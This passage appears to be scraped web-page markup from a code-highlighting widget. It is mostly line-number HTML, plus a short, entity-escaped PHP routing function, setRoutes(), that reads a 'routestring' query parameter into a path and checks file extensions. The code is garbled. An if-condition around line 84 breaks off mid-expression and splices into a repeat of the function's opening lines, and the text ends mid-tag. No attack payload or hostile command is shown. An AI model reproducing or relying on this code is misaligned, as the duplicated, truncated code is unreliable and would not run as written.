data-line=\"crayon-5a49625a6e14b117614364-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-102\">102<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-103\">103<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-104\">104<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-105\">105<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-106\">106<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-107\">107<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-108\">108<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-109\">109<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-110\">110<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-111\">111<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-112\">112<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-113\">113<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-114\">114<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-115\">115<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-116\">116<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-117\">117<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-118\">118<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-119\">119<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-120\">120<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-121\">121<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-122\">122<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-123\">123<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-124\">124<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-125\">125<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-126\">126<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-127\">127<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-128\">128<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-129\">129<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-1\"><span class=\"crayon-c\">\/* 47 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">setRoutes<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-2\"><span class=\"crayon-c\">\/* 48 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-3\"><span class=\"crayon-c\">\/* 49 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">processQueryString<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-4\"><span class=\"crayon-c\">\/* 50 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-5\"><span class=\"crayon-c\">\/* 51 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-6\"><span class=\"crayon-c\">\/* 52 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/$path = isset($_SERVER[&#8216;PATH_INFO&#8217;]) ? $_SERVER[&#8216;PATH_INFO&#8217;] : &#8221;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-7\"><span class=\"crayon-c\">\/* 53 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-8\"><span class=\"crayon-c\">\/* 54 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_GET<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;routestring&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-9\"><span class=\"crayon-c\">\/* 55 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-10\"><span class=\"crayon-c\">\/* 56 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_GET<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;routestring&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-11\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-12\"><span class=\"crayon-c\">\/* 73 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-13\"><span class=\"crayon-c\">\/* 74 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-14\"><span class=\"crayon-c\">\/* 75 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">strlen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">AND<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">path<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-15\"><span class=\"crayon-c\">\/* 76 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-16\"><span class=\"crayon-c\">\/* 77 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-17\"><span class=\"crayon-c\">\/* 78 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-18\"><span class=\"crayon-c\">\/* 79 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-19\"><span class=\"crayon-c\">\/* 80 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/If there is an invalid image, js, or css request we wind up here. We can&#8217;t process any of them&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-20\"><span class=\"crayon-c\">\/* 81 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">strlen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-21\"><span class=\"crayon-c\">\/* 82 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-22\"><span class=\"crayon-c\">\/* 83 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ext<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">strtolower<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">substr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-23\"><span class=\"crayon-c\">\/* 84 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">ext<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* 47 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">setRoutes<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-24\"><span class=\"crayon-c\">\/* 48 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-25\"><span class=\"crayon-c\">\/* 49 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">processQueryString<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-26\"><span class=\"crayon-c\">\/* 50 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-27\"><span class=\"crayon-c\">\/* 51 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-28\"><span class=\"crayon-c\">\/* 52 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-c\">\/\/$path = isset($_SERVER[&#8216;PATH_INFO&#8217;]) ? $_SERVER[&#8216;PATH_INFO&#8217;] : &#8221;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-29\"><span class=\"crayon-c\">\/* 53 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-30\"><span class=\"crayon-c\">\/* 54 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_GET<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;routestring&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-31\"><span class=\"crayon-c\">\/* 55 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-32\"><span class=\"crayon-c\">\/* 56 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">_GET<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;routestring&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-33\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e14b117614364-34\"><span class=\"crayon-c\">\/* 73 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e14b117614364-35\"><span class=\"crayon-c\">\/* 74 *\/<\/span><span 